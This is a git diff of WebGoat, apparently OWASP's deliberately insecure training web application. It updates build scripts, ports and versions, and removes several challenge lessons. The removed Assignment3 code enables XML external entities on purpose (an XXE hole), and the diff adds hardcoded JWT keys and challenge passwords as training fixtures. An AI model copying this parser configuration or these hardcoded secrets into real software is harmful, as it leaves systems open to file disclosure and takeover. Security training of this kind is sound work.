diff --git a/.gitignore b/.gitignore index 917e56a8c..85137d053 100644 --- a/.gitignore +++ b/.gitignore @@ -42,4 +42,7 @@ webgoat-lessons/**/target **/.DS_Store webgoat-server/mongo-data/* webgoat-lessons/vulnerable-components/dependency-reduced-pom.xml +**/.sts4-cache/* +**/.vscode/* + /.sonatype \ No newline at end of file diff --git a/CREATE_RELEASE.MD b/CREATE_RELEASE.MD index 885c7a2fc..f9199020d 100644 --- a/CREATE_RELEASE.MD +++ b/CREATE_RELEASE.MD @@ -20,8 +20,8 @@ git flow release publish Now we can make a new release, be sure you committed all your changes. ``` -git tag v8.0.0.M3 -git push origin v8.0.0.M3 +git tag v8.0.0.M15 +git push origin v8.0.0.M15 ``` Now Travis takes over and will create the release in Github and on Docker Hub. diff --git a/README.MD b/README.MD index d0ff4809e..ccfee85bb 100644 --- a/README.MD +++ b/README.MD @@ -29,7 +29,18 @@ first thing that all hackers claim.* # Run Instructions: -## 1. Run using Docker +## 1. Standalone + +Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases) + +```Shell +java -jar webgoat-server-<>.jar [--server.port=8080] [--server.address=localhost] +``` + +By default WebGoat starts on port 8080 with `--server.port` you can specify a different port. With `server.address` you +can bind it to a different address (default localhost) + +## 2. Run using Docker From time to time we publish a new development preview of WebGoat 8 on Docker HUB, you can download this version [https://hub.docker.com/r/webgoat/webgoat-8.0/](https://hub.docker.com/r/webgoat/webgoat-8.0/). @@ -65,27 +76,6 @@ Here you'll be able to register a new user and get started. _Please note: this version may not be completely in sync with the develop branch._ -## 2. Standalone - -Download the latest WebWolf release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases) - -```Shell -java -jar webgoat-server-<>.jar -``` - -By default WebGoat starts at port 8080 in order to change this use the following property: - -```Shell -java -jar webgoat-server-<>.jar --server.port=9090 -``` - -You can specify one of the following arguments when starting WebGoat: - -```Shell -java -jar webgoat-server-<>.jar --server.port=9090 --server.address=x.x.x.x -``` - -This will start WebGoat on a different port and/or different address. ## 3. Run from the sources diff --git a/docker-compose-postgres.yml b/docker-compose-postgres.yml index 7ecc68403..919cbd509 100644 --- a/docker-compose-postgres.yml +++ b/docker-compose-postgres.yml @@ -6,6 +6,7 @@ services: user: webgoat environment: - WEBWOLF_HOST=webwolf + - WEBWOLF_PORT=9090 - spring.datasource.url=jdbc:postgresql://webgoat_db:5432/webgoat - spring.datasource.username=webgoat - spring.datasource.password=webgoat @@ -22,7 +23,7 @@ services: - spring.datasource.driver-class-name=org.postgresql.Driver - spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.PostgreSQL94Dialect ports: - - "8081:8081" + - "9090:9090" db: container_name: webgoat_db image: postgres:latest diff --git a/docker-compose.yml b/docker-compose.yml index 8d2bcdee3..725195504 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -5,6 +5,7 @@ services: image: webgoat/webgoat-8.0 environment: - WEBWOLF_HOST=webwolf + - WEBWOLF_PORT=9090 - spring.datasource.url=jdbc:hsqldb:hsql://webgoat_db:9001/webgoat ports: - "8080:8080" @@ -15,7 +16,7 @@ services: environment: - spring.datasource.url=jdbc:hsqldb:hsql://webgoat_db:9001/webgoat ports: - - "8081:8081" + - "9090:9090" depends_on: - db db: diff --git a/pom.xml b/pom.xml index 4b75535ed..206ecb2ed 100644 --- a/pom.xml +++ b/pom.xml @@ -1,11 +1,12 @@ - + 4.0.0 org.owasp.webgoat webgoat-parent pom - v8.0.0.M14 + v8.0.0.SNAPSHOT WebGoat Parent Pom Parent Pom for the WebGoat Project. A deliberately insecure Web Application @@ -53,17 +54,17 @@ jwayman Jeff Wayman - + dcowden Dave Cowden - + lawson89 Richard Lawson - + dougmorato @@ -92,8 +93,8 @@ https://github.com/WebGoat/WebGoat scm:git:git@github.com:WebGoat/WebGoat.git scm:git:git@github.com:WebGoat/WebGoat.git - HEAD - + HEAD + Github Issues @@ -202,7 +203,7 @@ release - + org.owasp.webgoat.lesson dist @@ -214,7 +215,7 @@ - + org.apache.maven.plugins maven-dependency-plugin @@ -225,7 +226,9 @@ generate-resources - ${project.basedir}/webgoat-container/src/main/webapp/plugin_lessons + + ${project.basedir}/webgoat-container/src/main/webapp/plugin_lessons + dist *.jar @@ -324,7 +327,7 @@ coveralls-maven-plugin ${coveralls-maven-plugin.version} - + @@ -332,7 +335,7 @@ cobertura-maven-plugin ${cobertura-maven-plugin.version} - + xml 256m diff --git a/scripts/build-all.sh b/scripts/build-all.sh new file mode 100644 index 000000000..a4430802e --- /dev/null +++ b/scripts/build-all.sh @@ -0,0 +1,32 @@ +#!/usr/bin/env bash + +cd .. + +nc -zv 127.0.0.1 8080 2>/dev/null +SUCCESS=$? +nc -zv 127.0.0.1 9090 2>/dev/null +SUCCESS=${SUCCESS}$? + +if [[ "${SUCCESS}" -eq 00 ]] ; then + echo "WebGoat and or WebWolf are still running, please stop them first otherwise unit tests might fail!" + exit 127 +fi + + +#mvn clean install +#if [[ "$?" -ne 0 ]] ; then +# exit y$? +#fi + +cd - +sh build_docker.sh + +echo "Do you want to run docker-compose?" +while true; do + read -p "Do you want to run docker-compose?" yn + case ${yn} in + [Yy]* ) sh clean-run-docker-compose.sh; break;; + [Nn]* ) exit;; + * ) echo "Please answer yes or no.";; + esac +done \ No newline at end of file diff --git a/scripts/build_docker.sh b/scripts/build_docker.sh new file mode 100644 index 000000000..f63329476 --- /dev/null +++ b/scripts/build_docker.sh @@ -0,0 +1,10 @@ +#!/bin/bash + +WEBGOAT_HOME=$(pwd)/../ + +cd ${WEBGOAT_HOME}/webgoat-server +docker build -t webgoat/webgoat-8.0 . + +cd ${WEBGOAT_HOME}/webwolf +docker build -t webgoat/webwolf . + diff --git a/scripts/clean-run-docker-compose.sh b/scripts/clean-run-docker-compose.sh new file mode 100644 index 000000000..c804d8d36 --- /dev/null +++ b/scripts/clean-run-docker-compose.sh @@ -0,0 +1,5 @@ +#!/usr/bin/env bash + +cd .. +docker-compose rm -f +docker-compose up diff --git a/scripts/deploy-webgoat.sh b/scripts/deploy-webgoat.sh index b9562d0fa..eb9db07c8 100644 --- a/scripts/deploy-webgoat.sh +++ b/scripts/deploy-webgoat.sh @@ -10,10 +10,10 @@ if [ "${BRANCH}" == "master" ] && [ ! -z "${TRAVIS_TAG}" ]; then # If we push a tag to master this will update the LATEST Docker image and tag with the version number docker build --build-arg webgoat_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:latest -t $REPO:${TRAVIS_TAG} . docker push $REPO -elif [ ! -z "${TRAVIS_TAG}" ]; then - # Creating a tag build we push it to Docker with that tag - docker build --build-arg webgoat_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:${TRAVIS_TAG} -t $REPO:latest . - docker push $REPO +#elif [ ! -z "${TRAVIS_TAG}" ]; then +# # Creating a tag build we push it to Docker with that tag +# docker build --build-arg webgoat_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:${TRAVIS_TAG} -t $REPO:latest . +# docker push $REPO #elif [ "${BRANCH}" == "develop" ]; then # docker build -f Dockerfile -t $REPO:snapshot . # docker push $REPO diff --git a/scripts/run-docker-compose.sh b/scripts/run-docker-compose.sh new file mode 100644 index 000000000..4ed58bcf0 --- /dev/null +++ b/scripts/run-docker-compose.sh @@ -0,0 +1,4 @@ +#!/usr/bin/env bash + +cd .. +docker-compose up diff --git a/webgoat-container/pom.xml b/webgoat-container/pom.xml index 76f86c160..11edb880f 100644 --- a/webgoat-container/pom.xml +++ b/webgoat-container/pom.xml @@ -10,7 +10,7 @@ org.owasp.webgoat webgoat-parent - v8.0.0.M14 + v8.0.0.SNAPSHOT diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/lessons/Category.java b/webgoat-container/src/main/java/org/owasp/webgoat/lessons/Category.java index 2b25b698e..bdef4d39e 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/lessons/Category.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/lessons/Category.java @@ -46,6 +46,7 @@ public enum Category { INSECURE_CONFIGURATION("Insecure Configuration", new Integer(600)), INSECURE_COMMUNICATION("Insecure Communication", new Integer(700)), INSECURE_STORAGE("Insecure Storage", new Integer(800)), + INSECURE_DESERIALIZATION("Insecure Deserialization", new Integer(850)), REQUEST_FORGERIES("Request Forgeries", new Integer(900)), VULNERABLE_COMPONENTS("Vulnerable Components - A9", new Integer(950)), AJAX_SECURITY("AJAX Security", new Integer(1000)), diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/lessons/LessonInfoModel.java b/webgoat-container/src/main/java/org/owasp/webgoat/lessons/LessonInfoModel.java index 3a3d0f9f7..4a7bab3a7 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/lessons/LessonInfoModel.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/lessons/LessonInfoModel.java @@ -2,7 +2,6 @@ package org.owasp.webgoat.lessons; import lombok.AllArgsConstructor; import lombok.Getter; -import org.owasp.webgoat.session.WebSession; /** *

LessonInfoModel class.

diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java b/webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java index a6743024f..1805bd161 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java @@ -81,6 +81,39 @@ public class CreateDB { } } + /** + * Description of the Method + * + * @param connection Description of the Parameter + * @throws SQLException Description of the Exception + */ + private void createJWTKeys(Connection connection) throws SQLException { + Statement statement = connection.createStatement(); + + // Drop servers table + try { + String dropTable = "DROP TABLE jwt_keys"; + statement.executeUpdate(dropTable); + } catch (SQLException e) { + System.out.println("Info - Could not drop jwtkeys table"); + } + + // Create the new table + try { + String createTableStatement = "CREATE TABLE jwt_keys" + + " (" + "id varchar(20)," + + "key varchar(20))"; + statement.executeUpdate(createTableStatement); + + String insertData1 = "INSERT INTO jwt_keys VALUES ('webgoat_key', 'qwertyqwerty1234')"; + String insertData2 = "INSERT INTO jwt_keys VALUES ('webwolf_key', 'doesnotreallymatter')"; + statement.executeUpdate(insertData1); + statement.executeUpdate(insertData2); + } catch (SQLException e) { + System.out.println("Error creating product table " + e.getLocalizedMessage()); + } + } + /** * Description of the Method @@ -975,6 +1008,7 @@ public class CreateDB { createTanTable(connection); createMFEImagesTable(connection); createModifyWithSQLLessonTable(connection); + createJWTKeys(connection); System.out.println("Success: creating tables."); } } diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/users/UserForm.java b/webgoat-container/src/main/java/org/owasp/webgoat/users/UserForm.java index afcbd0615..c9e3b7d70 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/users/UserForm.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/users/UserForm.java @@ -4,6 +4,7 @@ import lombok.Getter; import lombok.Setter; import javax.validation.constraints.NotNull; +import javax.validation.constraints.Pattern; import javax.validation.constraints.Size; /** @@ -16,6 +17,7 @@ public class UserForm { @NotNull @Size(min=6, max=20) + @Pattern(regexp = "[a-zA-Z0-9]*", message = "can only contain letters and digits") private String username; @NotNull @Size(min=6, max=10) diff --git a/webgoat-container/src/main/resources/application.properties b/webgoat-container/src/main/resources/application.properties index 35b177ddd..ba8b75afc 100644 --- a/webgoat-container/src/main/resources/application.properties +++ b/webgoat-container/src/main/resources/application.properties @@ -11,8 +11,8 @@ spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.HSQLDialect spring.datasource.driver-class-name=org.hsqldb.jdbc.JDBCDriver -logging.level.org.springframework=WARN -logging.level.org.springframework.boot.devtools=WARN +logging.level.org.springframework=INFO +logging.level.org.springframework.boot.devtools=INFO logging.level.org.owasp=DEBUG logging.level.org.owasp.webgoat=TRACE @@ -37,9 +37,9 @@ webgoat.database.connection.string=jdbc:hsqldb:mem:{USER} webgoat.default.language=en webwolf.host=${WEBWOLF_HOST:localhost} -webwolf.port=${WEBWOLF_PORT:8081} +webwolf.port=${WEBWOLF_PORT:9090} webwolf.url=http://${webwolf.host}:${webwolf.port}/WebWolf -webworf.url.landingpage=http://${webwolf.host}:${webwolf.port}/landing +webwolf.url.landingpage=http://${webwolf.host}:${webwolf.port}/landing webwolf.url.mail=http://${webwolf.host}:${webwolf.port}/mail spring.jackson.serialization.indent_output=true diff --git a/webgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js b/webgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js index 75ff968b2..117761108 100644 --- a/webgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js +++ b/webgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js @@ -90,6 +90,8 @@ define(['jquery', var prepareDataFunctionName = $(curForm).attr('prepareData'); var callbackFunctionName = $(curForm).attr('callback'); var submitData = (typeof webgoat.customjs[prepareDataFunctionName] === 'function') ? webgoat.customjs[prepareDataFunctionName]() : $(curForm).serialize(); + var additionalHeadersFunctionName = $(curForm).attr('additionalHeaders'); + var additionalHeaders = (typeof webgoat.customjs[additionalHeadersFunctionName] === 'function') ? webgoat.customjs[additionalHeadersFunctionName]() : function() {}; var successCallBackFunctionName = $(curForm).attr('successCallback'); var failureCallbackFunctionName = $(curForm).attr('failureCallback'); var callbackFunction = (typeof webgoat.customjs[callbackFunctionName] === 'function') ? webgoat.customjs[callbackFunctionName] : function() {}; @@ -104,6 +106,7 @@ define(['jquery', $.ajax({ //data:submitData, url:formUrl, + headers: additionalHeaders, method:formMethod, contentType:contentType, data: submitData, diff --git a/webgoat-container/src/test/resources/logback-test.xml b/webgoat-container/src/test/resources/logback-test.xml index adfa02c68..2ee84585a 100644 --- a/webgoat-container/src/test/resources/logback-test.xml +++ b/webgoat-container/src/test/resources/logback-test.xml @@ -1 +1,15 @@ - \ No newline at end of file + + + + + \ No newline at end of file diff --git a/webgoat-images/vagrant-training/Vagrantfile b/webgoat-images/vagrant-training/Vagrantfile index ec6bc9b25..4772a8904 100644 --- a/webgoat-images/vagrant-training/Vagrantfile +++ b/webgoat-images/vagrant-training/Vagrantfile @@ -3,7 +3,7 @@ Vagrant.configure(2) do |config| config.vm.box = "ubuntu/trusty64" config.vm.network :forwarded_port, guest: 8080, host: 8080 - config.vm.network :forwarded_port, guest: 8081, host: 8081 + config.vm.network :forwarded_port, guest: 9090, host: 9090 config.vm.provider "virtualbox" do |vb| vb.gui = false vb.memory = "4096" diff --git a/webgoat-lessons/auth-bypass/pom.xml b/webgoat-lessons/auth-bypass/pom.xml index 22253bee4..6e63139a2 100644 --- a/webgoat-lessons/auth-bypass/pom.xml +++ b/webgoat-lessons/auth-bypass/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.SNAPSHOT
diff --git a/webgoat-lessons/bypass-restrictions/pom.xml b/webgoat-lessons/bypass-restrictions/pom.xml index 8ae0f4f4c..29f56754c 100755 --- a/webgoat-lessons/bypass-restrictions/pom.xml +++ b/webgoat-lessons/bypass-restrictions/pom.xml @@ -6,6 +6,6 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.SNAPSHOT
diff --git a/webgoat-lessons/challenge/pom.xml b/webgoat-lessons/challenge/pom.xml index 60639ca63..b8f9144c9 100644 --- a/webgoat-lessons/challenge/pom.xml +++ b/webgoat-lessons/challenge/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.SNAPSHOT diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/SolutionConstants.java b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/SolutionConstants.java index 886565dc8..79881e6e4 100644 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/SolutionConstants.java +++ b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/SolutionConstants.java @@ -10,11 +10,6 @@ public interface SolutionConstants { //TODO should be random generated when starting the server String PASSWORD = "!!webgoat_admin_1234!!"; - String SUPER_COUPON_CODE = "get_it_for_free"; String PASSWORD_TOM = "thisisasecretfortomonly"; - String PASSWORD_LARRY = "larryknows"; - String JWT_PASSWORD = "victory"; String ADMIN_PASSWORD_LINK = "375afe1104f4a487a73823c50a9292a2"; - String PASSWORD_TOM_9 = "somethingVeryRandomWhichNoOneWillEverTypeInAsPasswordForTom"; - String TOM_EMAIL = "tom@webgoat-cloud.org"; } diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge2/Challenge2.java b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge2/Challenge2.java deleted file mode 100644 index 94b1cf58b..000000000 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge2/Challenge2.java +++ /dev/null @@ -1,39 +0,0 @@ -package org.owasp.webgoat.plugin.challenge2; - -import com.google.common.collect.Lists; -import org.owasp.webgoat.lessons.Category; -import org.owasp.webgoat.lessons.NewLesson; - -import java.util.List; - -/** - * @author nbaars - * @since 3/21/17. - */ -public class Challenge2 extends NewLesson { - - @Override - public Category getDefaultCategory() { - return Category.CHALLENGE; - } - - @Override - public List getHints() { - return Lists.newArrayList(); - } - - @Override - public Integer getDefaultRanking() { - return 10; - } - - @Override - public String getTitle() { - return "challenge2.title"; - } - - @Override - public String getId() { - return "Challenge2"; - } -} diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge3/Assignment3.java b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge3/Assignment3.java deleted file mode 100644 index 2fd355bd3..000000000 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge3/Assignment3.java +++ /dev/null @@ -1,150 +0,0 @@ -package org.owasp.webgoat.plugin.challenge3; - -import com.beust.jcommander.internal.Lists; -import com.fasterxml.jackson.databind.ObjectMapper; -import com.google.common.collect.EvictingQueue; -import com.google.common.collect.Maps; -import com.google.common.io.Files; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.joda.time.DateTime; -import org.joda.time.format.DateTimeFormat; -import org.joda.time.format.DateTimeFormatter; -import org.owasp.webgoat.assignments.AssignmentEndpoint; -import org.owasp.webgoat.assignments.AssignmentPath; -import org.owasp.webgoat.assignments.AttackResult; -import org.owasp.webgoat.plugin.Flag; -import org.owasp.webgoat.session.WebSession; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.beans.factory.annotation.Value; -import org.springframework.http.MediaType; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestHeader; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.ResponseBody; - -import javax.annotation.PostConstruct; -import javax.xml.bind.JAXBContext; -import javax.xml.bind.Unmarshaller; -import javax.xml.stream.XMLInputFactory; -import javax.xml.stream.XMLStreamReader; -import java.io.File; -import java.io.IOException; -import java.io.StringReader; -import java.nio.charset.Charset; -import java.util.Collection; -import java.util.Map; - -import static org.springframework.http.MediaType.ALL_VALUE; -import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; -import static org.springframework.web.bind.annotation.RequestMethod.GET; -import static org.springframework.web.bind.annotation.RequestMethod.POST; - -/** - * @author nbaars - * @since 4/8/17. - */ -@AssignmentPath("/challenge/3") -@Slf4j -public class Assignment3 extends AssignmentEndpoint { - - @Value("${webgoat.server.directory}") - private String webGoatHomeDirectory; - @Autowired - private WebSession webSession; - private static DateTimeFormatter fmt = DateTimeFormat.forPattern("yyyy-MM-dd, HH:mm:ss"); - - private static final Map> userComments = Maps.newHashMap(); - private static final EvictingQueue comments = EvictingQueue.create(100); - private static final String secretContents = "Congratulations you may now collect your flag"; - - static { - comments.add(new Comment("webgoat", DateTime.now().toString(fmt), "Silly cat....")); - comments.add(new Comment("guest", DateTime.now().toString(fmt), "I think I will use this picture in one of my projects.")); - comments.add(new Comment("guest", DateTime.now().toString(fmt), "Lol!! :-).")); - } - - @PostConstruct - @SneakyThrows - public void copyFile() { - File targetDirectory = new File(webGoatHomeDirectory); - if (!targetDirectory.exists()) { - targetDirectory.mkdir(); - } - log.info("Copied secret.txt to: {}", targetDirectory); - Files.write(secretContents, new File(targetDirectory, "secret.txt"), Charset.defaultCharset()); - } - - @RequestMapping(method = GET, produces = MediaType.APPLICATION_JSON_VALUE) - @ResponseBody - public Collection retrieveComments() { - Collection allComments = Lists.newArrayList(); - Collection xmlComments = userComments.get(webSession.getUserName()); - if (xmlComments != null) { - allComments.addAll(xmlComments); - } - allComments.addAll(comments); - return allComments; - } - - @RequestMapping(method = POST, consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE) - @ResponseBody - public AttackResult createNewComment(@RequestBody String commentStr, @RequestHeader("Content-Type") String contentType) throws Exception { - Comment comment = null; - AttackResult attackResult = failed().build(); - if (APPLICATION_JSON_VALUE.equals(contentType)) { - comment = parseJson(commentStr); - comment.setDateTime(DateTime.now().toString(fmt)); - comment.setUser(webSession.getUserName()); - comments.add(comment); - } - if (MediaType.APPLICATION_XML_VALUE.equals(contentType)) { - //Do not show these comments to all users - comment = parseXml(commentStr); - comment.setDateTime(DateTime.now().toString(fmt)); - comment.setUser(webSession.getUserName()); - EvictingQueue comments = userComments.getOrDefault(webSession.getUserName(), EvictingQueue.create(100)); - comments.add(comment); - userComments.put(webSession.getUserName(), comments); - } - if (checkSolution(comment)) { - attackResult = success().feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(3)).build(); - } - return attackResult; - } - - private boolean checkSolution(Comment comment) { - if (comment.getText().contains(secretContents)) { - comment.setText("Congratulations to " + webSession.getUserName() + " for finding the flag!! Check your original response where you posted the XXE attack "); - comments.add(comment); - return true; - } - return false; - } - - public static Comment parseXml(String xml) throws Exception { - JAXBContext jc = JAXBContext.newInstance(Comment.class); - - XMLInputFactory xif = XMLInputFactory.newFactory(); - xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, true); - xif.setProperty(XMLInputFactory.IS_VALIDATING, false); - - xif.setProperty(XMLInputFactory.SUPPORT_DTD, true); - XMLStreamReader xsr = xif.createXMLStreamReader(new StringReader(xml)); - - Unmarshaller unmarshaller = jc.createUnmarshaller(); - return (Comment) unmarshaller.unmarshal(xsr); - } - - private Comment parseJson(String comment) { - ObjectMapper mapper = new ObjectMapper(); - try { - return mapper.readValue(comment, Comment.class); - } catch (IOException e) { - return new Comment(); - } - } - - -} - diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge3/Challenge3.java b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge3/Challenge3.java deleted file mode 100644 index 91a05d4ea..000000000 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge3/Challenge3.java +++ /dev/null @@ -1,39 +0,0 @@ -package org.owasp.webgoat.plugin.challenge3; - -import com.google.common.collect.Lists; -import org.owasp.webgoat.lessons.Category; -import org.owasp.webgoat.lessons.NewLesson; - -import java.util.List; - -/** - * @author nbaars - * @since 3/21/17. - */ -public class Challenge3 extends NewLesson { - - @Override - public Category getDefaultCategory() { - return Category.CHALLENGE; - } - - @Override - public List getHints() { - return Lists.newArrayList(); - } - - @Override - public Integer getDefaultRanking() { - return 10; - } - - @Override - public String getTitle() { - return "challenge3.title"; - } - - @Override - public String getId() { - return "Challenge3"; - } -} diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge3/Comment.java b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge3/Comment.java deleted file mode 100644 index 0ea3e0d07..000000000 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge3/Comment.java +++ /dev/null @@ -1,24 +0,0 @@ -package org.owasp.webgoat.plugin.challenge3; - -import lombok.AllArgsConstructor; -import lombok.Getter; -import lombok.NoArgsConstructor; -import lombok.Setter; - -import javax.xml.bind.annotation.XmlRootElement; - -/** - * @author nbaars - * @since 4/8/17. - */ -@Getter -@Setter -@AllArgsConstructor -@NoArgsConstructor -@XmlRootElement -public class Comment { - private String user; - private String dateTime; - private String text; -} - diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge4/Assignment4.java b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge4/Assignment4.java deleted file mode 100644 index 199ac4d62..000000000 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge4/Assignment4.java +++ /dev/null @@ -1,17 +0,0 @@ -package org.owasp.webgoat.plugin.challenge4; - -import lombok.extern.slf4j.Slf4j; -import org.owasp.webgoat.assignments.AssignmentEndpoint; -import org.owasp.webgoat.assignments.AssignmentPath; - -/** - * @author nbaars - * @since 5/3/17. - */ -@AssignmentPath("/challenge/4") -@Slf4j -public class Assignment4 extends AssignmentEndpoint { - - //just empty, posting the flag will mark the challenge as done as well no need to specify an endpoint here - -} diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge4/Challenge4.java b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge4/Challenge4.java deleted file mode 100644 index 0e878d761..000000000 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge4/Challenge4.java +++ /dev/null @@ -1,39 +0,0 @@ -package org.owasp.webgoat.plugin.challenge4; - -import com.google.common.collect.Lists; -import org.owasp.webgoat.lessons.Category; -import org.owasp.webgoat.lessons.NewLesson; - -import java.util.List; - -/** - * @author nbaars - * @since 3/21/17. - */ -public class Challenge4 extends NewLesson { - - @Override - public Category getDefaultCategory() { - return Category.CHALLENGE; - } - - @Override - public List getHints() { - return Lists.newArrayList(); - } - - @Override - public Integer getDefaultRanking() { - return 10; - } - - @Override - public String getTitle() { - return "challenge4.title"; - } - - @Override - public String getId() { - return "Challenge4"; - } -} diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge4/Views.java b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge4/Views.java deleted file mode 100644 index e9f47594c..000000000 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge4/Views.java +++ /dev/null @@ -1,16 +0,0 @@ -package org.owasp.webgoat.plugin.challenge4; - -/** - * @author nbaars - * @since 4/30/17. - */ -public class Views { - interface GuestView { - } - - interface UserView extends GuestView { - } - - interface AdminView extends UserView { - } -} diff --git a/webgoat-lessons/challenge/src/main/resources/css/challenge3.css b/webgoat-lessons/challenge/src/main/resources/css/challenge3.css deleted file mode 100644 index 3bc2ca4eb..000000000 --- a/webgoat-lessons/challenge/src/main/resources/css/challenge3.css +++ /dev/null @@ -1,75 +0,0 @@ -/* Component: Posts */ -.post .post-heading { - height: 95px; - padding: 20px 15px; -} -.post .post-heading .avatar { - width: 60px; - height: 60px; - display: block; - margin-right: 15px; -} -.post .post-heading .meta .title { - margin-bottom: 0; -} -.post .post-heading .meta .title a { - color: black; -} -.post .post-heading .meta .title a:hover { - color: #aaaaaa; -} -.post .post-heading .meta .time { - margin-top: 8px; - color: #999; -} -.post .post-image .image { - width:20%; - height: 40%; -} -.post .post-description { - padding: 5px; -} -.post .post-footer { - border-top: 1px solid #ddd; - padding: 15px; -} -.post .post-footer .input-group-addon a { - color: #454545; -} -.post .post-footer .comments-list { - padding: 0; - margin-top: 20px; - list-style-type: none; -} -.post .post-footer .comments-list .comment { - display: block; - width: 100%; - margin: 20px 0; -} -.post .post-footer .comments-list .comment .avatar { - width: 35px; - height: 35px; -} -.post .post-footer .comments-list .comment .comment-heading { - display: block; - width: 100%; -} -.post .post-footer .comments-list .comment .comment-heading .user { - font-size: 14px; - font-weight: bold; - display: inline; - margin-top: 0; - margin-right: 10px; -} -.post .post-footer .comments-list .comment .comment-heading .time { - font-size: 12px; - color: #aaa; - margin-top: 0; - display: inline; -} -.post .post-footer .comments-list .comment .comment-body { - margin-left: 50px; -} -.post .post-footer .comments-list .comment > .comments-list { - margin-left: 50px; -} \ No newline at end of file diff --git a/webgoat-lessons/challenge/src/main/resources/css/challenge4.css b/webgoat-lessons/challenge/src/main/resources/css/challenge4.css deleted file mode 100644 index 590e2a4b0..000000000 --- a/webgoat-lessons/challenge/src/main/resources/css/challenge4.css +++ /dev/null @@ -1,12 +0,0 @@ -a.list-group-item { - height:auto; -} -a.list-group-item.active small { - color:#fff; -} -.stars { - margin:20px auto 1px; -} -.img-responsive { - min-width: 100%; -} \ No newline at end of file diff --git a/webgoat-lessons/challenge/src/main/resources/html/Challenge2.html b/webgoat-lessons/challenge/src/main/resources/html/Challenge2.html deleted file mode 100644 index 777761ed1..000000000 --- a/webgoat-lessons/challenge/src/main/resources/html/Challenge2.html +++ /dev/null @@ -1,112 +0,0 @@ - - - - - -
-
- - -
-
- -
-
- - -
- -
- -
-
-

Samsung Galaxy S8

-
Samsung · - (124421 reviews) -
- -
- PRICE -
-

US $899

- -
-
- COLOR -
-
-
-
-
-
-
-
- CAPACITY -
-
-
64 GB
-
128 GB
-
-
-
-
- QUANTITY -
-
-
- -
-
-
- -
-
- CHECKOUT CODE -
- - - -
- -
- -
- Like
-
-
-
- -
-
-
-
-
-
-
- -
-
- -
-
- -
- -
-
-
-
-
- - \ No newline at end of file diff --git a/webgoat-lessons/challenge/src/main/resources/html/Challenge3.html b/webgoat-lessons/challenge/src/main/resources/html/Challenge3.html deleted file mode 100644 index 62255ab95..000000000 --- a/webgoat-lessons/challenge/src/main/resources/html/Challenge3.html +++ /dev/null @@ -1,72 +0,0 @@ - - - - - -
-
- - -
-
- -
-
-
-
